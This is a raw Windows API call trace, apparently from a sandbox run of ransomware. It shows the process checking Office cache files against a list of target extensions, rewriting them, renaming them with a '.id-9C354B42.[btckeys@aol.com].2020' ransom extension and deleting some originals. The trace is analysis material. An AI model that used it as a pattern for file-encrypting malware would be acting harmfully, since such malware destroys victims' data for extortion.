lstrlenW (lpString=".ppt") returned 4 [0073.713] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.713] lstrlenW (lpString=".zip") returned 4 [0073.713] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.713] lstrlenW (lpString=".rar") returned 4 [0073.713] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.713] lstrlenW (lpString=".bz2") returned 4 [0073.713] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.713] lstrlenW (lpString=".7z") returned 3 [0073.713] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.713] lstrlenW (lpString=".dbf") returned 4 [0073.713] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.713] lstrlenW (lpString=".1cd") returned 4 [0073.713] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.713] lstrlenW (lpString=".jpg") returned 4 [0073.713] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString=".doc") returned 4 [0073.714] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.714] lstrlenW (lpString=".docx") returned 5 [0073.714] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0073.714] lstrlenW (lpString=".pdf") returned 4 [0073.714] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.714] lstrlenW (lpString=".xls") returned 4 [0073.714] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.714] lstrlenW (lpString=".xlsx") returned 5 [0073.714] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0073.714] lstrlenW (lpString=".ppt") returned 4 [0073.714] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString=".zip") returned 4 [0073.714] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.714] lstrlenW (lpString=".rar") returned 4 [0073.714] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.714] lstrlenW (lpString=".bz2") returned 4 [0073.714] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.714] lstrlenW (lpString=".7z") returned 3 [0073.714] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString=".dbf") returned 4 [0073.714] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString=".1cd") returned 4 [0073.714] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0073.714] lstrlenW (lpString=".jpg") returned 4 [0073.714] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.715] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0073.715] lstrlenW (lpString="Office32MUI.msi") returned 15 [0073.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0073.715] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=873984) returned 1 [0073.715] CloseHandle (hObject=0x184) returned 1 [0073.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0073.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0073.716] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.716] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0073.716] GetLastError () returned 0x0 [0073.716] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0074.032] WriteFile (in: hFile=0x168, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0074.044] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.044] WriteFile (in: hFile=0x168, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0074.044] SetEndOfFile (hFile=0x168) returned 1 [0074.044] CloseHandle (hObject=0x168) returned 1 [0074.224] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.225] SetEndOfFile (hFile=0x184) returned 1 [0074.356] CloseHandle (hObject=0x184) returned 1 [0074.357] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0074.357] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0074.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.357] lstrlenW (lpString=".doc") returned 4 [0074.357] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.357] lstrlenW (lpString=".docx") returned 5 [0074.357] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.357] lstrlenW (lpString=".pdf") returned 4 [0074.357] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.358] lstrlenW (lpString=".xls") returned 4 [0074.358] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.358] lstrlenW (lpString=".xlsx") returned 5 [0074.358] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.358] lstrlenW (lpString=".ppt") returned 4 [0074.358] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString=".zip") returned 4 [0074.358] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.358] lstrlenW (lpString=".rar") returned 4 [0074.358] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.358] lstrlenW (lpString=".bz2") returned 4 [0074.358] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.358] lstrlenW (lpString=".7z") returned 3 [0074.358] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString=".dbf") returned 4 [0074.358] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString=".1cd") returned 4 [0074.358] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString=".jpg") returned 4 [0074.358] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.358] lstrlenW (lpString=".doc") returned 4 [0074.358] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.358] lstrlenW (lpString=".docx") returned 5 [0074.359] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.359] lstrlenW (lpString=".pdf") returned 4 [0074.359] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.359] lstrlenW (lpString=".xls") returned 4 [0074.359] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.359] lstrlenW (lpString=".xlsx") returned 5 [0074.359] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.359] lstrlenW (lpString=".ppt") returned 4 [0074.359] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.359] lstrlenW (lpString=".zip") returned 4 [0074.359] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.359] lstrlenW (lpString=".rar") returned 4 [0074.359] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.359] lstrlenW (lpString=".bz2") returned 4 [0074.359] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.359] lstrlenW (lpString=".7z") returned 3 [0074.359] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.359] lstrlenW (lpString=".dbf") returned 4 [0074.359] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.359] lstrlenW (lpString=".1cd") returned 4 [0074.359] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0074.359] lstrlenW (lpString=".jpg") returned 4 [0074.359] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.360] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0074.360] lstrlenW (lpString="InfLR.cab") returned 9 [0074.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0074.360] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=18874884) returned 1 [0074.360] CloseHandle (hObject=0x184) returned 1 [0074.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0074.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.361] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0074.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0074.586] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0074.587] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.587] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.691] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.691] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.887] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.887] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.887] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.929] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.929] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0075.308] SetEndOfFile (hFile=0x184) returned 1 [0075.308] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.308] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.308] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.310] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.310] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.313] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.317] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.317] CloseHandle (hObject=0x184) returned 1 [0075.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.318] lstrlenW (lpString=".doc") returned 4 [0075.318] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString=".docx") returned 5 [0075.318] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.318] lstrlenW (lpString=".pdf") returned 4 [0075.318] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString=".xls") returned 4 [0075.318] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString=".xlsx") returned 5 [0075.318] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.318] lstrlenW (lpString=".ppt") returned 4 [0075.318] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.318] lstrlenW (lpString=".zip") returned 4 [0075.318] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString=".rar") returned 4 [0075.318] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString=".bz2") returned 4 [0075.318] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.318] lstrlenW (lpString=".7z") returned 3 [0075.318] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.318] lstrlenW (lpString=".dbf") returned 4 [0075.318] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.318] lstrlenW (lpString=".1cd") returned 4 [0075.318] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.318] lstrlenW (lpString=".jpg") returned 4 [0075.318] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.319] lstrlenW (lpString=".doc") returned 4 [0075.319] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString=".docx") returned 5 [0075.319] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.319] lstrlenW (lpString=".pdf") returned 4 [0075.319] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString=".xls") returned 4 [0075.319] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString=".xlsx") returned 5 [0075.319] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.319] lstrlenW (lpString=".ppt") returned 4 [0075.319] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.319] lstrlenW (lpString=".zip") returned 4 [0075.319] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString=".rar") returned 4 [0075.319] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString=".bz2") returned 4 [0075.319] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.319] lstrlenW (lpString=".7z") returned 3 [0075.319] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.319] lstrlenW (lpString=".dbf") returned 4 [0075.319] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.319] lstrlenW (lpString=".1cd") returned 4 [0075.320] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0075.320] lstrlenW (lpString=".jpg") returned 4 [0075.320] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.320] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0075.320] lstrlenW (lpString="VisioMUI.msi") returned 12 [0075.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.320] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2797568) returned 1 [0075.320] CloseHandle (hObject=0x184) returned 1 [0075.321] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0075.321] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.321] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.322] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0075.322] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.322] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.327] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.327] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.342] 